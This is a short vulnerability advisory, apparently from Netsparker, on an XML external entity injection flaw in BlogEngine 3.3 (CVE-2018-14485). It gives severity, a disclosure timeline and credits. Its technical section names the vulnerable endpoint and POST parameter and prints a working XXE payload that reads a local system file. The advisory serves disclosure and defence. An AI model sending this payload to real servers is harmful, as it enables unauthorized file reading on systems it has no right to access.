BlogEngine 3.3 XML External Entity Injection

BlogEngine version 3.3 suffers from an XML external entity injection vulnerability.

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XML External Entity Injection Vulnerability in BlogEngine 3.3


Advisory by Netsparker
Name: XML External Entity Injection Vulnerability in BlogEngine 3.3
Affected Software: BlogEngine
Affected Versions: 3.3
Vulnerability: XML External Entity (XXE) Injection Vulnerability
Severity: High
Status: Not Fixed
CVE-ID: 2018-14485
CVSS Score (3.0): CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:H
Netsparker Advisory Reference: NS-18-045

Technical Details

Url: http://websiteurl-blogengine3.3/metaweblog.axd
Parameter Name: BodyXML
Parameter Type: POST
Attack Pattern: <?xml version="1.0"?><!DOCTYPE ns [<!ELEMENT ns ANY><!ENTITY lfi SYSTEM "file:///C:/Windows/System32/drivers/etc/hosts">]><ns>&lfi;</ns>

Advisory Timeline

12th November 2018- First Attempt to Contact
9th January 2019 - Advisory Released

Credits & Authors

These issues have been discovered by Mustafa YalASSA+-n while testing Netsparker Web Application Security Scanner.

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